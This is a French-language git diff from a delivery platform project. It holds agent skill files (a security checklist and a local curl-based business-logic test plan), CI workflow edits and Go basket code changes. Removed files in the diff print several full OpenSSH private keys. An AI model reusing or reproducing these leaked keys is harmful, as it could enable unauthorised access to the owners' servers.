- Cette action peut-elle être rejouée (double-tap, retry réseau, webhook dupliqué) ? Si oui : mécanisme d'idempotence explicite (vérifier l'état courant avant d'agir, retourner un succès idempotent plutôt qu'une erreur ou un double effet).
|
||||
- Lecture-puis-décision-puis-écriture sur une valeur partagée (stock, solde) ? → transaction unique avec `FOR UPDATE`, jamais une suite d'appels séparés.
|
||||
- Toute création d'enregistrement (commande, paiement) doit être dans la **même transaction** que ses effets de bord critiques (décrément stock, débit solde) — pas de risque d'enregistrement "fantôme" si une étape suivante échoue.
|
||||
|
||||
### 7. Plan de test
|
||||
- Cas nominal.
|
||||
- Cas limite métier (stock insuffisant, solde insuffisant, commande déjà dans l'état cible, ressource appartenant à un autre utilisateur).
|
||||
- Cas de concurrence si pertinent (double-tap simulé, deux requêtes quasi simultanées).
|
||||
- Comment vérifier après implémentation (`go build`, `go vet`, test manuel via `/verify` ou l'app si UI concernée).
|
||||
|
||||
### 8. Points ouverts
|
||||
Toute question métier ou technique non tranchée, à soumettre explicitement à l'utilisateur plutôt que de trancher seul par défaut.
|
||||
|
||||
## Étape 2 — Validation puis implémentation
|
||||
|
||||
Ne commencer l'implémentation qu'après retour explicite de l'utilisateur sur le plan. Si l'utilisateur ne modifie rien, considérer le plan tel quel comme approuvé. Implémenter ensuite en suivant fidèlement les sections Sécurité et Concurrence du plan — elles ne sont pas optionnelles une fois validées.
|
||||
|
||||
## Quand ne pas utiliser ce skill
|
||||
|
||||
- Bug fix ponctuel et bien circonscrit (ex: correction d'une requête, d'un typo, d'une regression déjà diagnostiquée) où un plan formel ajouterait de la friction sans valeur — corriger directement.
|
||||
- Modification purement cosmétique (style, renommage local, commentaire).
|
||||
- Le skill s'applique dès qu'une action touche : un nouveau statut ou transition de commande, un flux d'argent ou de points, une nouvelle route API, ou un changement de permission.
|
||||
@@ -0,0 +1,46 @@
|
||||
---
|
||||
name: securite-projet
|
||||
description: Checklist de sécurité spécifique à ce projet (JWT multi-rôles, 2FA Telegram, webhook crypto NowPayments, VPN, WAF, création de comptes admin-only). À invoquer avant de merger tout code touchant à l'authentification, aux paiements, aux endpoints admin/livreur/cabine, ou à l'infrastructure serveur — en complément du skill générique security-review, pas à sa place.
|
||||
---
|
||||
|
||||
# Sécurité — spécifique à ce projet
|
||||
|
||||
Cette checklist complète (ne remplace pas) le skill générique `security-review`. Elle encode les règles de sécurité **propres à cette plateforme**, qui ne sont pas détectables par une revue générique OWASP.
|
||||
|
||||
## Authentification et autorisation
|
||||
|
||||
- **Deux familles de JWT strictement séparées** : `USER_JWT_SECRET` (client) et `ADMIN_JWT_SECRET` (admin/livreur/cabine). Ne jamais faire valider un token d'une famille par le middleware de l'autre.
|
||||
- Sessions actives trackées dans Redis (`session:{token}`, TTL 5h client / 2h admin) — la révocation d'un token doit supprimer la clé Redis correspondante, pas seulement compter sur l'expiration JWT.
|
||||
- **Aucun endpoint d'auto-inscription client** ne doit exister. Si une tâche demande d'ajouter un moyen de créer un compte client hors du panel admin, c'est un signal d'alerte à soulever explicitement avant d'implémenter.
|
||||
- Pour tout nouvel endpoint livreur/cabine : vérifier le rôle **et** la propriété de la ressource (`livreur_assign == username`), jamais le rôle seul. C'est l'erreur la plus fréquente dans ce code : un livreur authentifié valide ne doit agir que sur ses propres commandes.
|
||||
- 2FA : le `session_token` de vérification (TTL 5 min) et le code à 6 chiffres doivent rester **rate-limités** (429 après trop de tentatives) — ne jamais retirer ce rate limiting pour "simplifier" un flux.
|
||||
|
||||
## Paiements crypto (NowPayments)
|
||||
|
||||
- Le webhook `POST /api/v1/webhooks/nowpayments` est un endpoint **public** par nécessité (appelé par NowPayments, pas par un utilisateur authentifié). Sa seule protection est la vérification **HMAC-SHA512** de l'en-tête `x-nowpayments-sig` — ne jamais traiter un payload dont la signature ne vérifie pas, quel que soit le contenu.
|
||||
- Ne jamais faire confiance à un statut de paiement transmis par le client (ex: un champ `payment_status` dans une requête utilisateur) — seul le webhook signé ou un appel serveur-à-serveur à l'API NowPayments (`GetPaymentStatus`) fait foi.
|
||||
- Toute transition `pending_payment → cancelled` doit être gardée par une vérification du statut courant (`WHERE status = 'pending_payment'`) pour éviter un double remboursement de stock si le webhook est reçu plusieurs fois (NowPayments peut renvoyer le même événement).
|
||||
|
||||
## Requêtes base de données
|
||||
|
||||
- Toutes les requêtes utilisent des paramètres liés GORM (`?` binding) — **jamais** de concaténation de chaînes dans une requête `Raw`/`Exec`, y compris pour des valeurs qui semblent "internes" (statuts, IDs). Une seule exception acceptable : les noms de colonnes/tables provenant d'une liste blanche fixe dans le code, jamais d'une entrée utilisateur.
|
||||
- Toute opération qui lit puis modifie un compteur/solde partagé (stock, solde de parrainage, compteur d'annulations) doit se faire dans une transaction avec `FOR UPDATE` si une décision (ex: "stock suffisant ?") dépend de la valeur lue — sinon condition de course exploitable (survente, sur-crédit).
|
||||
|
||||
## Infrastructure
|
||||
|
||||
- PostgreSQL et Redis ne sont **jamais** exposés publiquement — accessibles uniquement via le VPN WireGuard (`10.0.0.0/24`) depuis `prod-uber`. Ne jamais suggérer d'ouvrir ces ports sur l'IP publique, même temporairement pour du debug.
|
||||
- Les secrets (`.env`, clés JWT, `NOWPAYMENTS_IPN_SECRET`, `TELEGRAM_WEBHOOK_SECRET`) ne doivent jamais apparaître dans un commit, un log applicatif, ou une réponse API d'erreur.
|
||||
- Le WAF (nginx + ModSecurity OWASP CRS) est le point d'entrée public — toute modification de routes ou de headers doit rester compatible avec ses règles (CSP, HSTS, TLS 1.2/1.3).
|
||||
- SSH restreint au VPN sur les serveurs sensibles (`monitoring-uber`, `backup-mln`, `bdd-redis-prod`) — jump host via `vpn-uber`. Ne jamais recommander de désactiver cette restriction.
|
||||
|
||||
## Checklist rapide avant de merger un changement sensible
|
||||
|
||||
Pour tout endpoint touchant argent, stock, statut de commande, ou compte utilisateur :
|
||||
|
||||
- [ ] Rôle **et** propriété de la ressource vérifiés (pas l'un sans l'autre)
|
||||
- [ ] Entrées validées (bornes numériques, longueur de chaîne, whitelist de statuts)
|
||||
- [ ] Requêtes paramétrées, aucune concaténation SQL
|
||||
- [ ] Opération idempotente si l'action peut être rejouée (retry réseau, double-tap, webhook dupliqué)
|
||||
- [ ] Transaction + verrou (`FOR UPDATE`) si lecture-puis-décision-puis-écriture sur une valeur partagée
|
||||
- [ ] Pas de nouveau secret ou donnée sensible loggé en clair
|
||||
- [ ] Si paiement crypto impliqué : signature webhook vérifiée avant tout traitement
|
||||
@@ -0,0 +1,145 @@
|
||||
---
|
||||
name: test-logique-metier
|
||||
description: À lancer systématiquement à la fin de l'implémentation de toute fonctionnalité touchant à la logique métier (stock, commandes, paiements, points, parrainage, pénalités). Démarre l'API en local, exécute une série de scénarios réels via curl contre l'API, et vérifie en base que les invariants métier tiennent (stock décrémenté puis remboursé exactement, idempotence, autorisations par rôle). Ne se contente pas de lire le code — observe le comportement réel.
|
||||
---
|
||||
|
||||
# Test de logique métier — vérification comportementale locale
|
||||
|
||||
Ce skill exécute des tests **de bout en bout contre une instance locale de l'API**, pas une relecture de code. Objectif : détecter les bugs de la classe "le code compile et semble correct, mais le comportement observé diverge" — exactement le type de bugs trouvés et corrigés dans ce projet (stock jamais décrémenté, double remboursement, commande fantôme). S'appuie sur les règles métier du skill `comprehension-metier` : le lire d'abord si ce n'est pas déjà fait.
|
||||
|
||||
**Ne jamais exécuter ces tests contre la base pre-prod ou prod.** Uniquement contre un environnement local jetable.
|
||||
|
||||
## Quand l'utiliser
|
||||
|
||||
- À la fin de l'implémentation de toute fonctionnalité qui touche : stock, cycle de vie d'une commande, paiement (cash/crypto), points/récompenses, parrainage, pénalités, permissions par rôle.
|
||||
- Après toute correction de bug dans ces domaines (pour confirmer la correction ET l'absence de régression sur les cas adjacents).
|
||||
- Complément du skill `plan-fonctionnalite` (étape "plan de test" de ce skill) — celui-ci l'exécute réellement au lieu de rester une liste sur papier.
|
||||
- Ne pas l'utiliser pour un changement purement cosmétique ou un fix qui ne touche aucune règle métier.
|
||||
|
||||
## Étape 0 — Préparer l'environnement local
|
||||
|
||||
```bash
|
||||
# 1. Postgres + Redis locaux (depuis backend/gestion/)
|
||||
cd backend/gestion
|
||||
docker compose up -d
|
||||
docker compose ps # attendre "healthy" sur les deux services
|
||||
|
||||
# 2. Variables d'environnement minimales (adapter aux valeurs du .env local)
|
||||
export DB_HOST=localhost DB_PORT=5432 DB_USER=postgres DB_PASSWORD=postgres DB_NAME=<db_name>
|
||||
export REDIS_HOST=localhost REDIS_PORT=6379 REDIS_PASSWORD=<redis_password>
|
||||
export USER_JWT_SECRET=$(openssl rand -hex 32)
|
||||
export ADMIN_JWT_SECRET=$(openssl rand -hex 32)
|
||||
|
||||
# 3. Lancer l'API (dans un terminal séparé ou en arrière-plan)
|
||||
go run main.go # écoute sur :8080, crée les tables au démarrage (createTables)
|
||||
```
|
||||
|
||||
Vérifier que l'API répond avant de continuer :
|
||||
```bash
|
||||
curl -sf http://localhost:8080/api/v1/app-settings > /dev/null && echo "API up"
|
||||
```
|
||||
|
||||
## Étape 1 — Obtenir un compte admin de test
|
||||
|
||||
**La création d'un compte admin est volontairement bloquée via l'API** (voir `comprehension-metier`) — impossible d'obtenir un token admin par un simple appel HTTP. Il faut l'insérer directement en base locale (jetable, jamais en pre-prod/prod) :
|
||||
|
||||
```bash
|
||||
# Générer un hash bcrypt pour le mot de passe de test
|
||||
HASH=$(go run -exec "" - <<'EOF' 2>/dev/null || python3 -c "import bcrypt; print(bcrypt.hashpw(b'TestPass123!', bcrypt.gensalt()).decode())"
|
||||
package main
|
||||
import ("fmt"; "golang.org/x/crypto/bcrypt")
|
||||
func main() {
|
||||
h, _ := bcrypt.GenerateFromPassword([]byte("TestPass123!"), bcrypt.DefaultCost)
|
||||
fmt.Println(string(h))
|
||||
}
|
||||
EOF
|
||||
)
|
||||
|
||||
docker exec -i gestion_postgres psql -U postgres -d <db_name> -c \
|
||||
"INSERT INTO users (username, password, role) VALUES ('test_admin', '$HASH', 'admin') ON CONFLICT (username) DO NOTHING;"
|
||||
```
|
||||
|
||||
Puis se connecter normalement :
|
||||
```bash
|
||||
ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/v2/admin/auth/login \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"username":"test_admin","password":"TestPass123!"}' | jq -r .access_token)
|
||||
```
|
||||
|
||||
À partir de ce token admin, créer les comptes de test nécessaires **via l'API** (c'est le chemin normal) : client de test, livreur de test, cabine de test — jamais par insertion SQL directe pour ceux-là, afin de tester le vrai chemin de création.
|
||||
|
||||
## Étape 2 — Méthode générale
|
||||
|
||||
Pour chaque scénario : **agir via l'API (curl)**, puis **vérifier l'état réel en base** (`docker exec gestion_postgres psql ...`) plutôt que de se fier uniquement à la réponse HTTP — une réponse 200 ne prouve pas que l'effet de bord a eu lieu correctement.
|
||||
|
||||
Gabarit de vérification stock :
|
||||
```bash
|
||||
docker exec -i gestion_postgres psql -U postgres -d <db_name> -t -c \
|
||||
"SELECT stock FROM products WHERE id = $PRODUCT_ID;"
|
||||
```
|
||||
|
||||
Toujours noter le stock **avant** l'action, exécuter l'action, relire le stock **après**, et comparer à la valeur attendue calculée manuellement (pas juste "différent de avant").
|
||||
|
||||
## Étape 3 — Scénarios à exécuter
|
||||
|
||||
### Stock — commande normale
|
||||
1. Créer un produit avec stock connu (ex. 10).
|
||||
2. Client ajoute 3 unités au panier, checkout.
|
||||
3. Vérifier : stock produit = 7 exactement.
|
||||
4. Client annule la commande.
|
||||
5. Vérifier : stock produit = 10 exactement (retour à la valeur initiale).
|
||||
|
||||
### Stock — articles récompense
|
||||
1. Configurer un pool de points avec un seuil bas et un `RewardItem` pointant vers un produit à stock connu.
|
||||
2. Faire gagner assez de points au client de test (achats successifs), puis réclamer la récompense (`ClaimMyReward`).
|
||||
3. Checkout incluant l'article récompense.
|
||||
4. Vérifier : stock décrémenté de la quantité offerte, **comme un article payant**.
|
||||
5. Annuler la commande → vérifier stock restauré exactement.
|
||||
|
||||
### Stock — idempotence de l'annulation
|
||||
1. Créer une commande, la faire annuler une première fois (client, livreur, ou admin — tester les trois chemins séparément).
|
||||
2. Rejouer le même appel d'annulation une seconde fois sur la même commande.
|
||||
3. Vérifier : le second appel ne modifie **pas** le stock une seconde fois (comparer stock après 1er appel et après 2e appel — doivent être identiques), et renvoie une réponse cohérente (pas une erreur qui laisserait croire à un échec silencieux).
|
||||
|
||||
### Stock — commande fantôme / double-submit
|
||||
1. Vider le panier d'un client, y ajouter un article dont le stock est juste suffisant pour une seule commande (ex. stock = 2, quantité demandée = 2).
|
||||
2. Envoyer **deux requêtes de checkout quasi simultanées** pour ce même client (deux processus curl en parallèle, `&` en shell).
|
||||
3. Vérifier : une seule commande a réellement décrémenté le stock, l'autre échoue proprement (panier vide ou stock insuffisant) — **aucune commande "pending" orpheline** ne doit rester en base avec des `command_items` mais un stock jamais décrémenté pour elle.
|
||||
|
||||
### Paiement crypto
|
||||
1. Checkout avec `payment_method: crypto` → vérifier statut `pending_payment` et stock déjà décrémenté à ce stade.
|
||||
2. Simuler le webhook IPN avec statut `failed` (signature HMAC valide requise — générer avec le secret de test) → vérifier commande `cancelled` et stock restauré.
|
||||
3. Répéter avec statut `finished` sur une nouvelle commande → vérifier commande repasse en `pending` (cycle normal), stock reste décrémenté.
|
||||
4. Renvoyer deux fois le même webhook `failed` → vérifier pas de double remboursement.
|
||||
|
||||
### Parrainage
|
||||
1. Lier un parrain à un client, vérifier `referral_balance` du parrain crédité du montant configuré (`ReferralAmount`).
|
||||
2. Checkout du filleul avec crédit parrainage utilisé, panier tout juste au-dessus du minimum de zone + crédit → vérifier acceptation ; en dessous → vérifier rejet avec message explicite.
|
||||
3. Faire échouer le checkout après débit du crédit (ex. stock insuffisant découvert tardivement) → vérifier que `referral_balance` est recrédité, pas perdu.
|
||||
|
||||
### Points et récompenses
|
||||
1. Vérifier que les points s'accumulent dans le bon pool selon la catégorie du produit acheté (pas dans tous les pools).
|
||||
2. Réclamer une récompense au-delà du nombre disponible → vérifier rejet.
|
||||
3. Reset admin des récompenses réclamées d'un client → vérifier que le compteur repart à zéro et que de nouvelles réclamations redeviennent possibles.
|
||||
|
||||
### Pénalités
|
||||
1. Simuler 4 annulations successives du même client (avec livreur assigné + statut `en_route`/`arrived` pour déclencher la pénalité) → vérifier progression exacte du barème (20€, 50€, 100€, 150€ ou barème configuré).
|
||||
2. Avec `amende > 0`, tenter un checkout → vérifier blocage 403 avec message contact.
|
||||
3. Simuler le flux "client absent" (livreur annule depuis `arrived`) → vérifier pénalité appliquée au **client**, jamais au livreur.
|
||||
4. Annulation sans livreur assigné → vérifier absence de pénalité.
|
||||
|
||||
### Permissions par rôle
|
||||
1. Token livreur A tente d'agir sur une commande assignée à livreur B → vérifier 403 (pas seulement vérification du rôle, vérification de la propriété).
|
||||
2. Token client tente d'accéder à une route admin → 403.
|
||||
3. Vérifier qu'aucun endpoint ne permet de créer un compte `admin` via l'API (tenter et confirmer le rejet/l'absence de route).
|
||||
4. Vérifier que le livreur ne reçoit jamais le téléphone du client dans `GET /livreur/deliveries`.
|
||||
|
||||
## Étape 4 — Rapport et suite
|
||||
|
||||
Pour chaque scénario : **PASS** ou **FAIL** avec la preuve chiffrée (valeurs avant/après). En cas de FAIL, ce n'est pas la fin du skill — revenir au code, corriger, puis **relancer uniquement les scénarios concernés** (pas besoin de tout rejouer) jusqu'à ce que tout passe. Ne jamais considérer une fonctionnalité "terminée" avec un scénario en FAIL non expliqué.
|
||||
|
||||
## Nettoyage
|
||||
|
||||
```bash
|
||||
docker compose down -v # supprime aussi les volumes (base de test jetable)
|
||||
```
|
||||
+2
-4
@@ -31,8 +31,6 @@ jobs:
|
||||
|
||||
- name: Setup Android SDK
|
||||
uses: android-actions/setup-android@v3
|
||||
with:
|
||||
packages: platform-tools
|
||||
|
||||
- name: Install EAS CLI & tooling
|
||||
run: |
|
||||
@@ -63,7 +61,7 @@ jobs:
|
||||
echo "profile=production" >> $GITHUB_OUTPUT
|
||||
echo "channel=production-admin" >> $GITHUB_OUTPUT
|
||||
echo "api_url=${{ secrets.PROD_API_URL }}" >> $GITHUB_OUTPUT
|
||||
echo "ota_api_url=${{ secrets.PROD_API_URL }}" >> $GITHUB_OUTPUT
|
||||
echo "ota_api_url=https://mln-uber.club" >> $GITHUB_OUTPUT
|
||||
echo "xavia_url=https://ota-prod.uber-stup.club" >> $GITHUB_OUTPUT
|
||||
echo "xavia_key=${{ secrets.XAVIA_KEY_ADMIN_PROD }}" >> $GITHUB_OUTPUT
|
||||
echo "apk_name=admin-panel-production-$(date +%Y%m%d-%H%M).apk" >> $GITHUB_OUTPUT
|
||||
@@ -72,7 +70,7 @@ jobs:
|
||||
echo "profile=pre-prod" >> $GITHUB_OUTPUT
|
||||
echo "channel=pre-prod-admin" >> $GITHUB_OUTPUT
|
||||
echo "api_url=${{ secrets.PREPROD_API_URL }}" >> $GITHUB_OUTPUT
|
||||
echo "ota_api_url=${{ secrets.PREPROD_API_URL }}" >> $GITHUB_OUTPUT
|
||||
echo "ota_api_url=https://5.181.0.112.nip.io" >> $GITHUB_OUTPUT
|
||||
echo "xavia_url=https://ota-preprod.uber-stup.club" >> $GITHUB_OUTPUT
|
||||
echo "xavia_key=${{ secrets.XAVIA_KEY_ADMIN_PREPROD }}" >> $GITHUB_OUTPUT
|
||||
echo "apk_name=admin-panel-pre-prod-$(date +%Y%m%d-%H%M).apk" >> $GITHUB_OUTPUT
|
||||
-2
@@ -31,8 +31,6 @@ jobs:
|
||||
|
||||
- name: Setup Android SDK
|
||||
uses: android-actions/setup-android@v3
|
||||
with:
|
||||
packages: platform-tools
|
||||
|
||||
- name: Install EAS CLI & tooling
|
||||
run: |
|
||||
+4
-6
@@ -1,10 +1,8 @@
|
||||
# Expo local state (in sub-projects)
|
||||
**/.expo/
|
||||
test_address.sh
|
||||
easpip
|
||||
ansible/
|
||||
dist/
|
||||
frontend-prep2/
|
||||
scripts/data.txt
|
||||
scripts/data2.txt
|
||||
scripts/data3.txt
|
||||
monitoring
|
||||
docker-prod/
|
||||
.ssh
|
||||
mc_utilisation
|
||||
|
||||
@@ -1,7 +0,0 @@
|
||||
-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACAieAjqMxPu9SLzocyu4o3kGOZZqA8WEwNPgdJRADtLRgAAAJh6wtUQesLV
|
||||
EAAAAAtzc2gtZWQyNTUxOQAAACAieAjqMxPu9SLzocyu4o3kGOZZqA8WEwNPgdJRADtLRg
|
||||
AAAEBTpCulaM9MyR3rKmewOozUK9UxGJfYaME6Bzt35uccnSJ4COozE+71IvOhzK7ijeQY
|
||||
5lmoDxYTA0+B0lEAO0tGAAAAEnhvcl9mYWtlcnNAQXN1c1hvcgECAw==
|
||||
-----END OPENSSH PRIVATE KEY-----
|
||||
@@ -1 +0,0 @@
|
||||
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICJ4COozE+71IvOhzK7ijeQY5lmoDxYTA0+B0lEAO0tG xor_fakers@AsusXor
|
||||
@@ -1,7 +0,0 @@
|
||||
-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACA5CWvGX+urJzagSGoqjWDC2+svolbRWVs9TKWuxkQ7WgAAAJA2iMzxNojM
|
||||
8QAAAAtzc2gtZWQyNTUxOQAAACA5CWvGX+urJzagSGoqjWDC2+svolbRWVs9TKWuxkQ7Wg
|
||||
AAAEB1HhVAu0nC6PvES3yJsO/KBvtUntDwIaQp7znJgvr5yTkJa8Zf66snNqBIaiqNYMLb
|
||||
6y+iVtFZWz1Mpa7GRDtaAAAADWNhbWVyQEFzdXNYb3I=
|
||||
-----END OPENSSH PRIVATE KEY-----
|
||||
@@ -1,7 +0,0 @@
|
||||
-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBN9tO6dO8g5b4BSdShuhozsfip5LavKRmAJ6DPlMzwDQAAAJDOjDh5zow4
|
||||
eQAAAAtzc2gtZWQyNTUxOQAAACBN9tO6dO8g5b4BSdShuhozsfip5LavKRmAJ6DPlMzwDQ
|
||||
AAAEB5AK5VwT8A9XyF90vgQdUbIL8fZAygZV65ebV61tBTV03207p07yDlvgFJ1KG6GjOx
|
||||
+Knktq8pGYAnoM+UzPANAAAADWNhbWVyQEFzdXNYb3I=
|
||||
-----END OPENSSH PRIVATE KEY-----
|
||||
@@ -1,7 +0,0 @@
|
||||
-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACCWjBZrCPtCi8oAl32aed/Nm6iqVNOHOdaySen6B5jwogAAAIhX0UinV9FI
|
||||
pwAAAAtzc2gtZWQyNTUxOQAAACCWjBZrCPtCi8oAl32aed/Nm6iqVNOHOdaySen6B5jwog
|
||||
AAAEDBdRokUMkqZcgLXREfafmo/ZEMPhjPPZq5I/447cPZW5aMFmsI+0KLygCXfZp5382b
|
||||
qKpU04c51rJJ6foHmPCiAAAAAAECAwQF
|
||||
-----END OPENSSH PRIVATE KEY-----
|
||||
@@ -1 +0,0 @@
|
||||
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJaMFmsI+0KLygCXfZp5382bqKpU04c51rJJ6foHmPCi
|
||||
@@ -61,20 +61,6 @@ func (d *Database) GetAllProductsInBasket(username string) ([]models.Panier, err
|
||||
return baskets, nil
|
||||
}
|
||||
|
||||
// GetActiveRewardPoolKey retourne le reward_pool_key de la récompense
|
||||
// actuellement dans le panier du client, ou "" si aucune.
|
||||
func (d *Database) GetActiveRewardPoolKey(username string) (string, error) {
|
||||
var poolKey string
|
||||
err := d.GDB.Raw(`
|
||||
SELECT reward_pool_key FROM baskets
|
||||
WHERE username = ? AND is_reward = true AND reward_pool_key != ''
|
||||
LIMIT 1`, username).Scan(&poolKey).Error
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("erreur lecture récompense panier: %w", err)
|
||||
}
|
||||
return poolKey, nil
|
||||
}
|
||||
|
||||
// AddRewardsToBasket ajoute plusieurs produits récompense au panier (is_reward = true),
|
||||
// au prix fourni par l'appelant dans chaque RewardItem.Price (0 pour un produit offert,
|
||||
// ou le prix effectif déjà calculé pour une remise — voir handlers/points.go).
|
||||
@@ -151,6 +137,9 @@ func (d *Database) AddToBasket(username string, productID int, quantity float64)
|
||||
if err := tx.Raw(`SELECT stock, category FROM products WHERE id = ? FOR UPDATE`, productID).Scan(&productInfo).Error; err != nil {
|
||||
return fmt.Errorf("erreur lecture stock: %w", err)
|
||||
}
|
||||
if productInfo.Stock < quantity {
|
||||
return fmt.Errorf("stock insuffisant")
|
||||
}
|
||||
|
||||
var priceResult struct {
|
||||
Price float64 `gorm:"column:price"`
|
||||
@@ -164,49 +153,32 @@ func (d *Database) AddToBasket(username string, productID int, quantity float64)
|
||||
}
|
||||
// Une promotion active pour ce produit/quantité/catégorie s'applique
|
||||
// automatiquement au prix facturé — indépendamment des points de
|
||||
// fidélité (contrairement aux récompenses par palier). Le montant
|
||||
// économisé est conservé (promoDiscount) pour les statistiques
|
||||
// admin, indépendamment de la config de promo courante au moment où
|
||||
// ces stats seront consultées.
|
||||
var promoDiscount float64
|
||||
// fidélité (contrairement aux récompenses par palier).
|
||||
if discounted, ok := d.ApplyPromotionToPrice(productID, productInfo.Category, quantity, priceResult.Price); ok {
|
||||
promoDiscount = priceResult.Price - discounted
|
||||
priceResult.Price = discounted
|
||||
}
|
||||
|
||||
// Offre "achetez X, Y offert" : le client reçoit une quantité
|
||||
// supplémentaire du même produit, gratuite, sans changer le prix déjà
|
||||
// calculé sur la quantité demandée — la quantité livrée/décomptée du
|
||||
// stock est donc supérieure à la quantité facturée.
|
||||
freeQuantity := d.ResolveFreeGiftQuantity(productID, productInfo.Category, quantity)
|
||||
deliveredQuantity := quantity + freeQuantity
|
||||
|
||||
if productInfo.Stock < deliveredQuantity {
|
||||
return fmt.Errorf("stock insuffisant")
|
||||
}
|
||||
|
||||
var existing struct {
|
||||
ID int `gorm:"column:id"`
|
||||
Quantity float64 `gorm:"column:quantity"`
|
||||
Price float64 `gorm:"column:price"`
|
||||
PromoDiscount float64 `gorm:"column:promo_discount"`
|
||||
ID int `gorm:"column:id"`
|
||||
Quantity float64 `gorm:"column:quantity"`
|
||||
Price float64 `gorm:"column:price"`
|
||||
}
|
||||
// Chercher uniquement un item normal (non-récompense) pour ce produit
|
||||
tx.Raw(`SELECT id, quantity, price, promo_discount FROM baskets WHERE username = ? AND product_id = ? AND is_reward = false`,
|
||||
tx.Raw(`SELECT id, quantity, price FROM baskets WHERE username = ? AND product_id = ? AND is_reward = false`,
|
||||
username, productID).Scan(&existing)
|
||||
|
||||
if existing.ID != 0 {
|
||||
return tx.Raw(`
|
||||
UPDATE baskets SET quantity = ?, price = ?, promo_discount = ?, created_at = CURRENT_TIMESTAMP
|
||||
WHERE id = ? AND is_reward = false RETURNING id, username, product_id, quantity, price, is_reward, promo_discount, created_at`,
|
||||
existing.Quantity+deliveredQuantity, existing.Price+priceResult.Price,
|
||||
existing.PromoDiscount+promoDiscount, existing.ID).Scan(&basket).Error
|
||||
UPDATE baskets SET quantity = ?, price = ?, created_at = CURRENT_TIMESTAMP
|
||||
WHERE id = ? AND is_reward = false RETURNING id, username, product_id, quantity, price, is_reward, created_at`,
|
||||
existing.Quantity+quantity, existing.Price+priceResult.Price,
|
||||
existing.ID).Scan(&basket).Error
|
||||
}
|
||||
return tx.Raw(`
|
||||
INSERT INTO baskets (username, product_id, quantity, price, is_reward, promo_discount, created_at)
|
||||
VALUES (?, ?, ?, ?, false, ?, CURRENT_TIMESTAMP)
|
||||
RETURNING id, username, product_id, quantity, price, is_reward, promo_discount, created_at`,
|
||||
username, productID, deliveredQuantity, priceResult.Price, promoDiscount).Scan(&basket).Error
|
||||
INSERT INTO baskets (username, product_id, quantity, price, is_reward, created_at)
|
||||
VALUES (?, ?, ?, ?, false, CURRENT_TIMESTAMP)
|
||||
RETURNING id, username, product_id, quantity, price, is_reward, created_at`,
|
||||
username, productID, quantity, priceResult.Price).Scan(&basket).Error
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -216,58 +188,21 @@ func (d *Database) AddToBasket(username string, productID int, quantity float64)
|
||||
|
||||
// DeleteProductFromBasket supprime un produit spécifique du panier.
|
||||
// Le stock n'est pas restitué car il n'a pas été décrémenté à l'ajout.
|
||||
// Si l'article supprimé est une récompense, la réservation de points
|
||||
// correspondante (points_redeemed) est libérée dans la même transaction —
|
||||
// sinon le client perdrait définitivement un "slot" de récompense pour
|
||||
// avoir simplement retiré l'article de son panier avant de commander.
|
||||
func (d *Database) DeleteProductFromBasket(basketID int) error {
|
||||
return d.GDB.Transaction(func(tx *gorm.DB) error {
|
||||
var deleted struct {
|
||||
Username string `gorm:"column:username"`
|
||||
IsReward bool `gorm:"column:is_reward"`
|
||||
RewardPoolKey string `gorm:"column:reward_pool_key"`
|
||||
}
|
||||
if err := tx.Raw(`
|
||||
DELETE FROM baskets WHERE id = ?
|
||||
RETURNING username, is_reward, reward_pool_key`, basketID).
|
||||
Scan(&deleted).Error; err != nil {
|
||||
return fmt.Errorf("erreur lors de la suppression du produit: %w", err)
|
||||
}
|
||||
if deleted.Username == "" {
|
||||
return fmt.Errorf("produit non trouvé dans le panier")
|
||||
}
|
||||
if deleted.IsReward && deleted.RewardPoolKey != "" {
|
||||
if err := releaseRewardReservationTx(tx, deleted.Username, deleted.RewardPoolKey); err != nil {
|
||||
return fmt.Errorf("erreur libération réservation récompense: %w", err)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
result := d.GDB.Exec(`DELETE FROM baskets WHERE id = ?`, basketID)
|
||||
if result.Error != nil {
|
||||
return fmt.Errorf("erreur lors de la suppression du produit: %w", result.Error)
|
||||
}
|
||||
if result.RowsAffected == 0 {
|
||||
return fmt.Errorf("produit non trouvé dans le panier")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ClearBasket vide complètement le panier d'un utilisateur. Le stock n'est
|
||||
// pas restitué car il n'a pas été décrémenté à l'ajout. Si le panier contient
|
||||
// une récompense, la réservation de points correspondante est libérée (voir
|
||||
// DeleteProductFromBasket).
|
||||
// ClearBasket vide complètement le panier d'un utilisateur.
|
||||
// Le stock n'est pas restitué car il n'a pas été décrémenté à l'ajout.
|
||||
func (d *Database) ClearBasket(username string) error {
|
||||
return d.GDB.Transaction(func(tx *gorm.DB) error {
|
||||
var poolKeys []string
|
||||
if err := tx.Raw(`
|
||||
SELECT DISTINCT reward_pool_key FROM baskets
|
||||
WHERE username = ? AND is_reward = true AND reward_pool_key != ''`, username).
|
||||
Scan(&poolKeys).Error; err != nil {
|
||||
return fmt.Errorf("erreur lecture récompenses panier: %w", err)
|
||||
}
|
||||
if err := tx.Exec(`DELETE FROM baskets WHERE username = ?`, username).Error; err != nil {
|
||||
return err
|
||||
}
|
||||
for _, poolKey := range poolKeys {
|
||||
if err := releaseRewardReservationTx(tx, username, poolKey); err != nil {
|
||||
return fmt.Errorf("erreur libération réservation récompense pool=%s: %w", poolKey, err)
|
||||
}
|
